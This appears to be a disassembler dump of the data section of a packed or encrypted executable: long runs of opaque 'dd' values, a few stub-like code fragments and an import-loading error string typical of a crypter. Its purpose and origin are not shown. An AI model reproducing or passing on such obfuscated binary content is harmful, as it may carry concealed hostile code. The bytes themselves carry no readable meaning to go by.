		dd 73F4BFF5h, 0B7C7FFA6h, 0F0707C9Eh, 73F4BC8Dh, 0B7C3FF6Ch
		dd 0F0767CFBh, 73FE6CD8h, 0B776FF35h, 0F0767C57h, 73FE5B6Ah
		dd 0B772FF1Eh, 0B69C7CC2h, 9D11F1B0h, 75FD7AF2h, 0EA17FB23h
		dd 25FB737Fh, 0FDF53FD5h, 7C3FF0ADh, 0B7342291h, 23AC7ACFh
		dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 73F4B97Ch, 0B7ECFFA0h
		dd 0C87D7C26h, 73F4B886h, 0C5B409CFh, 0B54B75E4h, 3589BAF9h
		dd 0B772EF86h, 0FEBD7CB5h, 7A452B96h, 8AFD7A2Fh, 7C3FF502h
		dd 6748F7CDh, 0F8FB7327h, 9D50FCC6h, 75FD7E4Bh,	76456FCFh
		dd 8AFD7A5Eh, 7C3FF5BAh, 6748F791h, 0F8FB7309h,	8A50FCD1h
		dd 0BC1F2322h, 0B7ECF787h, 2DA07CB5h, 2CA32005h, 776D92ECh
		dd 0CD4D7A97h, 8A5779C1h, 7C3FF170h, 9D3ED1F4h,	75FD7807h
		dd 0CD9BC2DAh, 0DE9B5954h, 0B776EFD0h, 0DE9B7C9Eh, 77959208h
		dd 360B7AE5h, 6E8872F3h, 0B776EF86h, 0C54D7CB5h, 8AAD7954h
		dd 7C3FF1BAh, 0F69B2091h, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah
		dd 4E152979h, 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h
		dd 0FE4DBA07h, 9D3ED183h, 75FD7B00h, 77E1922Ah,	4EA77ABCh
		dd 0C5120E84h, 0A916D049h, 75FCA77Fh, 74BE8CCBh, 26D30FEDh
		dd 75FF7B1Ah, 360B2079h, 548872BDh, 6889A065h, 913D59A5h
		dd 0F5DF7094h, 0FF4DBA07h, 0FE6885B5h, 2FFB7330h, 51FD5F1Fh
		dd 133F71DAh, 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h
		dd 2D157AE5h, 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh
		dd 75FC5BC7h, 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah
		dd 9D561C79h, 75FD7BB6h, 0B657E7EEh, 9D57E69Fh,	75FD7A69h
		dd 75FCF323h, 74BE8CE5h, 0C5F20FFAh, 6515D0F9h,	0DFFD7ABCh
		dd 7DF99EDEh, 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h
		dd 0B772EF0Dh, 0C0707C70h, 73F4B8EAh, 7F518A5Dh, 0E002D02Ch
		dd 73F4B81Ch, 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh
		dd 75FC4354h, 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h,	8BE19261h
		dd 0CD9B851Ah, 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh
		dd 2257929Fh, 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah
		dd 8A008B91h, 75059243h, 2D4D7A5Eh, 0B6577925h,	0B7F5FF69h
		dd 0C87D7CC2h, 73F4B8EDh, 0F8EC0FF3h, 7C3F00FCh, 61152ABAh
		dd 9DFD7A5Ch, 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh
		dd 0DF9CCA0Dh, 0B7F5F787h, 0C87D7CB5h, 73F4B856h, 0F8F10F2Fh
		dd 7C3F0012h, 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah, 0FA688579h
		dd 0F8FB737Eh, 7C3BADC3h, 6DF9F029h, 9C4DB93Dh,	9D562D61h
		dd 75FD7A8Eh, 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 7C3FF1CBh
		dd 514ACE29h, 0C1FF0E96h, 13F2CA74h, 75C9924Eh,	9DAE7AF2h
		dd 75FD7A27h, 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 0B776EF68h
		dd 917D7CC2h, 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h
		dd 0B7D6BDD5h, 0FCF992ACh, 7345B995h, 8AFD7ACBh, 7C3FF570h
		dd 1B60F7F4h, 0F8FB73BBh, 0CD3E39A0h, 75FD7A4Eh, 0B772EFD0h
		dd 0B57E7C9Eh, 8935F1CEh, 0B776EF1Ah, 97577CFBh, 0BE15B98Eh
		dd 0FF028543h, 72D97B1Dh, 76778E5Ah, 75FC6C7Fh,	0B61608CBh
		dd 8908831Dh, 0F611F1A7h, 9D9D86BDh, 75FD7ABCh,	9217FB04h
		dd 0FCFB73E9h, 0CF7D86EAh, 73F4B841h, 0EC7975E5h, 0CDFD7AF2h
		dd 75FD7A73h, 0B772E843h, 0FCBD7C57h, 7C3FE9ADh, 0F835F191h
		dd 7C3AC179h, 0FE6F85E3h, 0FDFB7330h, 801F3C7Fh, 75FD6D04h
		dd 0E67F795Eh, 35FB73EDh, 0B252E01Ah, 0B67E7CC2h, 22FEF3E1h
		dd 75FD644Bh, 0E6777979h, 0F8FB737Eh, 7C3AE7ECh, 2B598929h
		dd 75FD722Fh, 0FA6F85CBh, 0F6FB7327h, 85897E0Ah, 72447C71h
		dd 7DFD7ABCh, 0C3F24B5Ah, 761EBBF7h, 75FD742Eh,	44E172CBh
		dd 75FD765Ch, 44F972F2h, 75FD61C0h, 44F972BCh, 75FD66E7h
		dd 44F9722Fh, 8A015B7Fh, 8980F334h, 8980F184h, 9DADB93Bh
		dd 75FD7A7Fh, 1102229Ch, 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h
		dd 67C92CB3h, 0B6AD3A78h, 75FD7AF2h, 75FD7A79h,	0FEA87ABCh
		dd 75151AB2h, 2FFD7A2Fh, 0B2339016h, 0CF707CC2h, 73F4B872h
		dd 0CCF50F79h, 75FD7A71h, 0BC9CDE4Fh, 26FD7E9Ch, 0B76AE7A2h
		dd 497D7C9Eh, 71887BD3h, 771683BEh, 203E82A9h, 9D9D96F2h
		dd 75FD7ABCh, 7217FB04h, 0F8FB73E7h, 7C3FED25h,	7D80F1CDh
		dd 75FD725Ch, 145989F2h, 75F9B8B0h, 0E240F7DCh,	46FB739Ch
		dd 75F5C3EFh, 0DF0E7A97h, 0F89DB9AAh, 7C3FED58h, 74C2FBF4h
		dd 0FC7B78h, 7182FBB0h,	74FC7B5Fh, 9E04795Ah, 0B69C8296h
		dd 0E240F7ABh, 0CDFB7327h, 75FD7AF3h, 75FD72C0h, 145789BCh
		dd 0FE3DF19Dh, 0D178F7EFh, 8AFB7355h, 8DCA8BD0h, 9C9228Dh
		dd 15B50906h, 89060331h, 320A58Dh, 0E43FB806h, 85C71F54h
		dd 6031A65h, 6270h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 1CC35343h, 8BCC62B0h,	329B9B5h, 7185C706h
		dd 60300h, 0F5000000h, 17ADB5FFh, 6A0603h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 5A61CDC3h
		dd 0C0CC6B6h, 95FF8A72h, 603171Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 34C35646h, 0B589E6D0h, 60315BDh
		dd 95FF006Ah, 60323A5h,	1FEBC08Bh, 0D153FDA9h, 598C97D4h
		dd 8159D758h, 0DC514DE3h, 26B1F030h, 4AC524DBh,	0E826EC29h
		dd 8D430B93h, 31E0D9Dh,	1300B806h, 85890000h, 60324BDh
		dd 0E8h, 0D055800h, 89000000h, 1300E903h, 4C0h dup(0)
		dd 0A8E90000h, 0C4000000h, 0E806723Bh, 7259162h, 2442AE7Fh
		dd 4765D19Ah, 0C685F1C2h, 6031B67Ah, 824BD6F4h,	0A36CF816h
		dd 0C1921937h, 0D9A45055h, 0D018999Bh, 563A4D5Bh, 0E80403CCh
		dd 898152DAh, 0A28C169Ah, 114599D7h, 0F94C59D6h, 45B7B28Dh
		dd 0E18D611h, 2FD6538Bh, 0D6117B51h, 0D6DEF30Ah, 0C12D6h
		dd 54150000h, 0A60ED5DEh, 25D52E1Dh, 0CD56622Dh, 860D0504h
		dd 32BEB6B5h, 0E7726A69h, 0A2271F1Eh, 55DAD2D1h, 38D8584h
		dd 0BB433B3Ah, 6DF3EBEAh, 686F9D9Ch, 609DC6Eh, 0F9A118E9h
		dd 0FF6CFAFFh, 0CDD826DCh, 9448E619h, 0B8231185h, 609DCFEh
		dd 0CE8C503h, 1000000h,	27477EC7h, 95A3F052h, 66A5382Ch
		dd 0E95FD18Bh, 13h, 16AAEF74h, 0DA7CE054h, 132B47F2h, 8E98F92Eh
		dd 8144CCDBh, 71BFC7h, 0B0EA8000h, 191EADB9h, 74E9815Bh
		dd 0B05B1902h, 0E837FF43h, 9, 4E5A891Dh, 0A5230E2Eh, 45BD0983h
		dd 5B060308h, 0BE85Eh, 0F9660000h, 384B03A0h, 6E26CAFAh
		dd 58D88B8Eh, 4528C681h, 0B3B83B8Fh, 812094A8h,	6A1EAFC6h
		dd 0D8816654h, 0C681B4EEh, 24BD5FB9h, 12E9BD31h, 0B2560603h
		dd 89078FAAh, 30045B5h,	73EF8106h, 513F98E3h, 2EF1958Bh
		dd 81580603h, 98E36FC7h, 72C3813Fh, 810CF229h, 1E9h, 11850F00h
		dd 31000000h, 3195D95h,	18E906h, 9A60000h, 9EBE2763h, 88D9D8Bh
		dd 66E90603h, 7AFFFFFFh, 47620DBDh, 4EBA65Bh, 27310301h
		dd 0D59E9h, 0E04F6800h,	0AE90609h, 68FFF9A0h, 609E15Eh
		dd 0F9A000E9h, 0E24668FFh, 0F6E90609h, 68FFF99Fh, 609E2D9h
		dd 0F99FECE9h, 0E62868FFh, 0E2E90609h, 68FFF99Fh, 609E8E2h
		dd 0F99FD8E9h, 0EA1768FFh, 0CEE90609h, 0A8FFF99Fh, 0CCEA561Fh
		dd 0EB097546h, 8269263h, 2B49B57Eh, 0AA69D5A6h,	44159A5Eh
		dd 662FBAD8h, 8750DCFAh, 0A576FD1Bh, 0BD883439h, 0D0189BB7h
		dd 561E313Fh, 0E50100D1h, 458AE8B3h, 5D6AD611h,	0AD35F65h
		dd 4E2A539Eh, 4B380FDAh, 2D3ADC14h, 427F792Eh, 4BC4D012h
		dd 0E00BC04Eh, 42025A3Ah, 51000000h, 0B024FC29h, 147346E5h
		dd 0C91B20DCh, 2828C8CEh, 0EDB662E7h, 9DF0C979h, 5C964B4Ah
		dd 0BAD012D4h, 6E66652Eh, 0FA1615E6h, 12D4C12Fh, 6CA4B1D0h
		dd 40691411h, 0B73CCAC7h, 7E5A3A71h, 7,	8D647CDh, 324A0000h
		dd 0D6CE9F24h, 797849D0h, 0BD29FA81h, 0F96D0B72h, 144AE12Eh
		dd 16E113DCh, 0D01240D8h, 0E6E5B63Eh, 0F0E8F5EBh, 83383744h
		dd 0D0124069h, 504F20A7h, 504CD58h, 0FAA5A24Dh,	0CD5B58D1h
		dd 5A3AE206h, 0D321EC1Eh, 0A3D01248h, 44431499h, 0C3FEF649h
		dd 4Bh,	2CFC2912h, 0E31FF310h, 1F93E626h, 6DB88911h, 7A42CD33h
		dd 7BA59D69h, 0E3B43B49h, 2EF1E9E4h, 0DC145B8Dh, 0BDD9D8E5h
		dd 12B2C08Bh, 3542D012h, 12707A3Dh, 4CC5D012h, 0B40AC14Fh
		dd 8015A3Ah, 0F1000001h, 8B8A5BE3h, 56CD9890h, 0E3FFFECFh
		dd 6F98E0DAh, 0D5A0A746h, 0D611229Fh, 0A7F74A57h, 56515021h
		dd 2D3585Eh, 0B3840B03h, 2C420D3Fh, 0C4D61122h,	120ABFB7h
		dd 3846BA8Bh, 0EBE6E5AEh, 0DCF6D1F3h, 0FAD6112Dh, 1836A273h
		dd 9ED49F91h, 56D61129h, 0BEC87751h, 41943173h,	0A1D3EFEEh
		dd 303D0E93h, 0D611FCC2h, 7AADA5B2h, 36017503h,	0DC14E5D1h
		dd 96D84451h, 6D7EAE8Dh, 0BAB273BBh, 0E821E87h,	7FE311DCh
		dd 0E03ED012h, 0CC992F73h, 0A59DAAA0h, 0F489B07Bh, 0E0EDDA15h
		dd 0A22C3A6Ch, 8187EDB8h, 626FDA19h, 8C11170Fh,	166932BEh
		dd 36078CAAh, 0BEDE1EDFh, 99A0A1D4h, 0A76h, 0E7531CA5h
		dd 67243C9h, 238F60E8h,	46B27B05h, 66D2A328h, 12975BA7h
		dd 2CB7D541h, 4DD9F763h, 73FA1884h, 853136A2h, 18A5B4BAh
		dd 1B2E3CD0h, 9400D156h, 1F552052h, 0D7D61145h,	4590DEA9h
		dd 5360D611h, 7B020800h, 325B3EAAh, 453F3500h, 0D75DD611h
		dd 160C0706h, 0A7DE1109h, 199A65D9h, 51DC1468h,	661A5823h
		dd 0CDDAD012h, 515F7B7Ah, 0FBFACBh, 662B4508h, 1790D012h
		dd 0BA404E1Ah, 959465ECh, 634F479Ah, 5A3AC068h,	5021A6B4h
		dd 0B21D58h, 566C0000h,	0E3FFFECFh, 36E9D9DAh, 1B66A2A1h
		dd 6CBED7D3h, 0ADB3ABBDh, 56B3628h, 0EDD61132h,	0D98E8DE0h
		dd 0D6113DBFh, 198556DDh, 2FA374FBh, 0A572AA26h, 0DBD3FFCCh
		dd 0CAD80A26h, 46A7740h, 0ECD61179h, 49B4E7DFh,	0EB703BAFh
		dd 8BDC1463h, 5EC7127Eh, 511C4EC2h, 0D0121323h,	0A4CEC6D3h
		dd 15A141D9h, 84F805DAh, 0B420F176h, 0E9401196h, 0D4BF231Eh
		dd 67ADB4B5h, 0B4000009h, 0D8F6622Bh, 0F7158152h, 14329E6Fh
		dd 3755C18Ah, 0B675E1B2h, 5021A66Ah, 723BC6E4h,	935CE806h
		dd 0B1820927h, 0C9944045h, 0D018A4ABh, 562A3D4Bh, 769400D1h
		dd 0CFB21EEFh, 7A01CF56h, 45B7BD88h, 323FD611h,	92E5E0DFh
		dd 43149B93h, 6E37C1CFh, 0ABF35476h, 4BBF59C4h,	0F2EAB33Dh
		dd 6012FDC8h, 171CDC14h, 4C17C151h, 0D0124C26h,	8E76C1CEh
		dd 601981CFh, 37937008h, 0E6191E4h, 79D54DCBh, 8859DFEDh
		dd 0B73E8E89h, 42BBEEE6h, 7E4691BEh, 87DA793Dh,	8BF4813h
		dd 0ABB973DCh, 7C085821h, 20FBBB3h, 0D9A7DE03h,	44F89A65h
		dd 0C0F269DCh, 0C344FFF5h, 726A776Dh, 0A7CD98C6h, 0F56DC344h
		dd 9DAAA069h, 0A6F9C24Dh, 0CC9D2432h, 0C9BB4260h, 0C344F0FEh
		dd 2373806Dh, 2077CA9Bh, 84881B4Bh, 7FEEF5F6h, 9C000008h
		dd 0C0DE4A13h, 0DFFD693Ah, 0FC1A8657h, 1F3DA972h, 9E5DC99Ah
		dd 38098E52h, 5A23AECCh, 7B44D0EEh, 996AF10Fh, 0B17C282Dh
		dd 0D018A743h, 32122533h, 0D6CE9F24h, 797849D0h, 0DB4F2954h
		dd 14496F10h, 0EF7B89DCh, 400B2726h, 0D0124032h, 6A62B5C2h
		dd 2F3DB1BEh, 506EDAA3h, 47FCFBC4h, 0D0124029h,	204E194Bh
		dd 0D0D01240h, 1C6F40C6h, 50176124h, 5361D012h,	0D407FFC8h
		dd 905BCFA9h, 0DA174D2Bh, 473F3E4Bh, 0B998EFC0h, 78D4BC42h
		dd 7EC7077h, 0A62F0000h, 0CD5371DDh, 0EA7290FCh, 58FAD19h
		dd 2DB2D03Ch, 0E531F05Ch, 5FCB9C21h, 81EDB641h,	0A20ED763h
		dd 0C02CFD84h, 2E440FBBh, 0C6D018A7h, 0FC29A5B8h, 0C6E5B024h
		dd 0A0DC1458h, 6A789493h, 171211E2h, 0C293191Fh, 17E21456h
		dd 0D01256D9h, 8E948C99h, 13383708h, 6C9E12E6h,	706D75Eh
		dd 56D220EBh, 95A2D012h, 0DE6DF742h, 0A1B1BA24h, 7CC0E6A9h
		dd 93A0D012h, 0B98A111Fh, 12C7BFBAh, 701815F4h,	0D2AD19EAh
		dd 0D0127C98h, 54C850C9h, 0F0EFC046h, 0B8B681F5h, 38D0127Ch
		dd 3E09332Bh, 0D0127C6Ch, 4D6BD7E4h, 7482F6C7h,	6F241CEDh
		dd 127FB8BAh, 0D4D1B0D0h, 0A475FA08h, 0ACB2AAA5h, 0D8E15526h
		dd 3FED3366h, 1C3E36AEh, 0A8A778FEh, 618F5A8Ch,	11D01235h
		dd 0B999FA0Ch, 0CA1D2AEEh, 0DA550FD2h, 7E5DD012h, 8253D981h
		dd 0D7A2D416h, 0D012E599h, 21544C59h, 3E34FFE8h, 5CD012E5h
		dd 0D03D4h, 56E39ADh, 0EDD012E5h, 5B2CE1E0h, 0E04C7109h
		dd 17DC6A67h, 1E265CE2h, 1A9h, 24FC296Dh, 6C8AE5B0h, 5764DC14h
		dd 6CA8B1E3h, 0A9E8635Ch, 1A9A6F77h, 6736A0CFh,	11E2696Fh
		dd 2F0087A5h, 4D37B30h,	0BE195B54h, 91C3F5C1h, 5BDAA8C6h
		dd 2E3B485Bh, 5B5BDAC0h, 0A5ABA3B0h, 0C3E14D1Eh, 0B23C4A3Ch
		dd 0E2EFEAE9h, 5B5BE58Ch, 5045764h, 73DFA9E0h, 302CB55h
		dd 47B3840Bh, 0D2D1A229h, 0D15BE11Dh, 0D3D02BC5h, 67D3A42Bh
		dd 5D0C249h, 29C413EFh,	28277A87h, 7E059603h, 60B3AEADh
		dd 13D321ECh, 96A329C4h, 0B6870C2Ah, 0B6E43942h, 54BF452Bh
		dd 493C3DEFh, 736BBE97h, 986099BEh, 24675924h, 586129C4h
		dd 817B8A94h, 0E49088A2h, 0F7296BD7h, 93218CEEh, 1421CD1Eh
		dd 29C4CADEh, 4A158996h, 29C4CA24h, 0C1C7BFCCh,	726A693Ah
		dd 0FF1D1CEDh, 6C3DC3D1h, 0E1E1F221h, 20184B31h, 19A04845h
		dd 0A3F6BF4Bh, 61E7F537h, 0B929890h, 0E3163B3Ah, 0E0D6A115h
		dd 0E229C450h, 0BA785BD9h, 82DFD030h, 0B5868DBEh, 96423A8Dh
		dd 78FF1D89h, 355D2AAFh, 6934C24Eh, 29C44C0Bh, 388BDEEBh
		dd 0A9C792C4h, 4929C44Ch, 0ECEBB43Fh, 0F1A69EF1h, 20A76DF9h
		dd 255504Fh, 48514B03h,	0BB8E4D81h, 0A9847C73h,	0AC7D04ACh
		dd 0CA9B2240h, 0A573A6CBh, 2CDFF31h, 29C43DECh,	0BC7F7784h
		dd 29C43DC2h, 0B3D13D4Ah, 3A5F5E27h, 93C539CFh,	0C43DAAC8h
		dd 996AF029h, 9CA99F9Ah, 504BC151h, 473F90F8h, 0D4E2EB1Dh
		dd 2C1A434Ah, 5C4205FDh, 0D429C4DBh, 0BB4553C7h, 74FBF3F2h
		dd 11DC50A3h, 29C4DBE3h, 6C8E8693h, 35003289h, 0D611453Fh
		dd 73FEB2B7h, 317C7A09h, 59E0E6DEh, 54D11C88h, 0F28D58CCh
		dd 7CDC14AEh, 61EDFB6Fh, 0B8EA2C98h, 535223AAh,	4C254B58h
		dd 0C0CDD015h, 5F89D075h, 1911C336h, 4ABE8713h,	0E7E6B73Ch
		dd 499C65EFh, 0E779C51h, 0B033FE72h, 0ACDA10CEh, 5149129Eh
		dd 0C31AA0A5h, 0E05C2909h, 9FD98E8Dh, 0D0DA16D3h, 8C57CB55h
		dd 0D013CE2Fh, 662FBBC9h, 0C8746C67h, 3DC4BCBBh, 0C32C156Ch
		dd 0FEFFDAC0h, 49DF7h, 2CF57E00h, 4B1CA2C0h, 6839C1DFh
		dd 8B54DEFCh, 0AB7C011Fh, 7034803Fh, 90AE1AEBh,	0B2D03C05h
		dd 0D3F15D26h, 0A0F7B4Ch, 0A35D935Eh, 715D018h,	24FC29F4h
		dd 6272E5B0h, 606EDC14h, 68140CD5h, 4CA75C5Bh, 0F3D0125Bh
		dd 0E4EF7D7Ah, 2F5A3AF9h, 9Bh, 450F997Eh, 68EDD611h, 4A9D9897h
		dd 0C8A5AECCh, 66A4D7D8h, 1EA5ABA3h, 6296E14Dh,	0F2450E99h
		dd 6DC5B37Eh, 303DD611h, 0E1B23931h, 2AFE2A75h,	57FADB6h
		dd 42A9457Eh, 6755204Ah, 0DFD61164h, 54DBD3D2h,	5CCC1783h
		dd 38D58CCh, 2BD61164h,	7BCE9721h, 0A4ADC77Ch, 97C5D611h
		dd 46110389h, 0D6112428h, 6968BBC8h, 0B1AEDE76h, 0DC2FD828h
		dd 882DB991h, 0F6EEF239h, 0D1491E1Bh, 800AD549h, 2AD61139h
		dd 39C72DF8h, 0A2AFD611h, 85F1FEAAh, 0BF58h, 67EEFC00h
		dd 32D39E96h, 453F3500h, 0D25DD611h, 190F0A09h,	0A4E1140Ch
		dd 6B3668DCh, 0D6114505h, 0BEE8E0EDh, 1458B4F3h, 0A2A1AEDCh
		dd 0EA561FAAh, 279B679Fh, 0FAF8C3F5h, 7AD01256h, 0C0B2756Dh
		dd 38D01256h, 22A9B72Bh, 0EFA45951h, 0D012568Ah, 99687139h
		dd 0C1BA96CBh, 0C261FB95h, 9593F277h, 37C5C29Dh, 5A3ADBBCh
		dd 5377h, 0FD29C600h, 88E6B125h, 68D61145h, 0D9645C5Bh
		dd 9F6A9C10h, 0D6114551h, 0D5A01421h, 0D611459Fh, 30524A57h
		dd 6DE1B9E5h, 1145F8A2h, 0EF6370D6h, 592AAFBDh,	1C525F5Ah
		dd 0D4D61145h, 651ACFC7h, 0D611850Bh, 0B2878463h, 6F3AAE4Ah
		dd 0D61105B5h, 0E1C4303Dh, 0FFFECF56h, 864FD5E3h, 61A1D7EEh
		dd 1615683Ah, 961D231Bh, 727142C8h, 6DB82477h, 0C2F46830h
		dd 0E0C631B9h, 716920E2h, 14E061AEh, 50411DCh, 12EA2650h
		dd 25229BD0h, 3A485C97h, 42D75Ah, 29260000h, 0D39C27FCh
		dd 1286D9D4h, 0AEAD7E04h, 0ED763B3h, 0F21C140Fh, 14688427h
		dd 0D2D1DEDCh, 1261D31Dh, 0EDB641D0h, 0A071F6EEh, 0CB56A6A1h
		dd 0C8230302h, 7EF720CBh, 0C7F8F381h, 0D9335A3Ah, 82000000h
		dd 0FFFECF56h, 0B2B18207h, 636233BAh, 8F16E46Bh, 24FF6BBEh
		dd 0D6114AEAh, 5CD0A128h, 0F9F8C94Eh, 0B1BF8AFEh, 41D61140h
		dd 0FC1A3C34h, 531CA775h, 76D3854h, 0EFD61140h,	3D3C8FE2h
		dd 9F13ED18h, 0CD55F6Dh, 496E5114h, 0FB08DC14h,	0E5444D8Fh
		dd 746E32D8h, 0DF467971h, 8E02CD41h, 0A6DA15ACh, 92172599h
		dd 501B4DC1h, 0DA184822h, 8651C5D2h, 0DA184868h, 0E103FB08h
		dd 814C3EC3h, 0DA184873h, 4CA3F603h, 0D4BF2759h, 0E3383F40h
		dd 38000001h, 5C7AE6AFh, 7B9905D6h, 98B622F3h, 0BBD9450Eh
		dd 3AF96536h, 0D4A52AEEh, 0F6BF4A68h, 17E06C8Ah, 35068DABh
		dd 4D18C4C9h, 0D018AD27h, 56AEC1CFh, 838C00D1h,	0B8ACF9FDh
		dd 1721B741h, 0D3359DE8h, 0E402241Ch, 3D208C5Dh, 0FB192932h
		dd 82478518h, 522E578Ah, 199EACDEh, 2A8D5048h, 44DC1479h
		dd 69833837h, 0CED01271h, 0A071F806h, 42D0CDA8h, 5A3AD789h
		dd 10084h, 0CF56D300h, 8207FFFEh, 616029B4h, 0F8141366h
		dd 45F5FBC6h, 707DD611h, 4A9BB578h, 6395D611h, 11405A98h
		dd 150D1AD6h, 4BB7880Fh, 0A66FFB09h, 0AEB4ACA7h, 32575627h
		dd 0DDA630CBh, 3736078Dh, 6775E93Ch, 0F01A12DBh, 14498225h
		dd 5BCFDCDCh, 48105E29h, 0D3E0D012h, 4577B9DBh,	1248747Ah
		dd 0F7EFFCD0h, 4BBF59C4h, 15FAB180h, 0B43947DAh, 94935CE6h
		dd 0A24E4699h, 0C10ED29Dh, 0F96D83AEh, 190CC02Eh, 50A3B0DAh
		dd 7546CEDCh, 0CDCC9D25h, 0A2B0DAD2h, 0FEC44F1Dh, 5857AA73h
		dd 5C9E0A5Dh, 0F8F7C84Eh, 7AFF05FDh, 0B3A2ACB1h, 2D800B79h
		dd 0BEEBD9D6h, 0CCD3D4D4h, 0AEh, 0AF1BE46Dh, 0CE3A0B91h
		dd 0EB5728B0h, 0E7A43CDh, 2E9A6BF0h, 0DA5F236Fh, 0F47F9D09h
		dd 15A1BF2Bh, 3BC2E04Ch, 4DF9FE6Ah, 18AF6C82h, 0E3F604D0h
		dd 8C00D156h, 2C2BF47Eh, 0F9173931h, 1F2DA172h,	0AFD1C99Ah
		dd 0FECF56CCh, 0AF8007FFh, 0DDA62D3Bh, 0E14C0ACDh, 0DBD326B1h
		dd 69376EB9h, 58C32AF5h, 9EABDC1Bh, 5220A79Fh, 425206C7h
		dd 4BADC45Dh, 0ABFEF9F8h, 0C99A213Fh, 25815CAh,	79D4F140h
		dd 7C4DD47Ch, 9A6BF210h, 5019A39Bh, 7546CEDCh, 0CE837B76h
		dd 2CD4D1B0h, 4A68D4A5h, 0D7F3F2C3h, 737243C9h,	36B8078h
		dd 6E000000h, 0CD563D54h, 860D0504h, 32BEB6B5h,	0E7726A69h
		dd 0A2271F1Eh, 55DAD2D1h, 38D8584h, 0BB433B3Ah,	6DF3EBEAh
		dd 686F9D9Ch, 1480h, 56243C89h,	0C681E689h, 4, 4EE81h
		dd 34870000h, 3C895C24h, 0E6895624h, 4C681h, 0EE810000h
		dd 4, 5C243487h, 56241C89h, 9DE52BEh, 8BF78906h, 0C4832434h
		dd 1C8B5404h, 4C48124h,	81000000h, 4ECh, 243C8900h, 0FF08438Fh
		dd 835B2434h, 3C8B04C4h, 0E3895324h, 4C381h, 0C3830000h
		dd 241C8704h, 92BFE95Ch, 5BC3FFF9h, 0EAB80832h,	30609EAh
		dd 0F5E0FFC5h, 940E3D68h, 301A386Ch, 58635F45h,	74280C91h
		dd 8D133535h, 9EC4D8Dh,	0A58D8906h, 0F060320h, 0BE66D6B7h
		dd 85C72F1Ch, 6031A65h,	5A14h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 72C35646h, 233587EDh, 6586E91Ah
		dd 9D57BAEFh, 0C58A1ED3h, 7185C7h, 603h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0B5FF8CC3h, 6030C69h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0D5C35242h, 4BF756F6h, 0C71332DCh, 1499B58Bh
		dd 95FF0603h, 603171Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0B2C35343h, 6ADE8B66h, 0A595FF00h, 8B060323h
		dd 6C38EBC0h, 0ABB33CA0h, 26025C2Dh, 13B1E756h,	0B365D24Ch
		dd 26CC7D62h
		dd 0A1225448h, 0B10F3BCAh, 0C1412E8Bh, 3EE04623h, 42C89BB2h
		dd 0D53E0D41h, 91C95AC2h, 0D5A203E9h, 0E9AE2FDEh, 127h
		dd 73765B50h, 154EEFACh, 0
aAnErrorHasOcur	db 'An Error has ocurred while loading imports',0
		db 37h
		dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h
		dd 777E600h, 5 dup(0)
		dd 0FD000000h, 77E7A5h,	2Bh dup(0)
		dd 2000000h, 48000000h,	0F4C706E1h, 0CF63921Dh,	0C78F96A6h
		dd 11341662h, 35B11C13h, 4231365Fh, 722B6166h, 0A9F29E35h
		dd 88321177h, 5EAF90EFh, 0BFBF1365h, 1737A0D9h,	0D069C699h
		dd 670BA8E5h, 56321365h, 0A9614571h, 88321177h,	5EAF90EFh
		dd 0BFBF1365h, 1737A7C8h, 0D069C699h, 0F9B1D5EDh, 243BF9B8h
		dd 1B61A66h, 5321566h, 4DFA36E3h, 0AFE2EA60h, 18FA46E3h
		dd 4EE2EA60h, 4729B4E3h, 705A4360h, 0EEAEBDDEh,	8B1664D3h
		dd 1CB79860h, 0DD34131Ah, 84B79CB6h, 5341661h, 4DDFBBE3h
		dd 0A7BF4560h, 173BF9E9h, 0F9A7EA36h, 8334166Fh, 2125ECE3h
		dd 11321560h, 29B7D366h, 134167Dh, 505B7C0Eh, 0F087EAE8h
		dd 5341664h, 470AF5E3h,	0ABE2EA60h, 121434E3h, 29B7D360h
		dd 734167Dh, 45594B0Eh,	0F087EAFAh, 5341664h, 470AF5E3h
		dd 0ABE2EA60h, 18DED3E3h, 29B7D360h, 1034167Dh,	405A3C0Eh
		dd 0F087EA88h, 5341664h, 470AF5E3h, 0ABE2EA60h,	18DEDFE3h
		dd 29B7D360h, 134167Dh,	420AD70Eh, 0F087EABCh, 5341664h
		dd 470AF5E3h, 0ABE2EA60h, 18DEDBE3h, 18F9660h, 4434167Bh
		dd 22779069h, 94F41566h, 8E310EC7h, 3AB47D23h, 97CDEF46h
		dd 17311787h, 0B0D290EBh, 94CD1365h, 0CEE090EFh, 94F4136Fh
		dd 8E310EC7h, 94F17D2Ah, 97CDF540h, 17311787h, 0B0D290EBh
		dd 94CD1365h, 0CEE490EFh, 51DB136Fh, 4E321566h,	4729B4E3h
		dd 2F5A4760h, 0EE8E5F82h, 8B2DB8D3h, 0A4B79860h, 0DD34165Eh
		dd 0C3B79CB6h, 4E341C8Ah, 4729B4E3h, 6A5A4760h,	0EE94592Ch
		dd 8B2DB8D3h, 0A4B79860h, 0DD34165Eh, 0C7B79CB6h, 4E341C8Ah
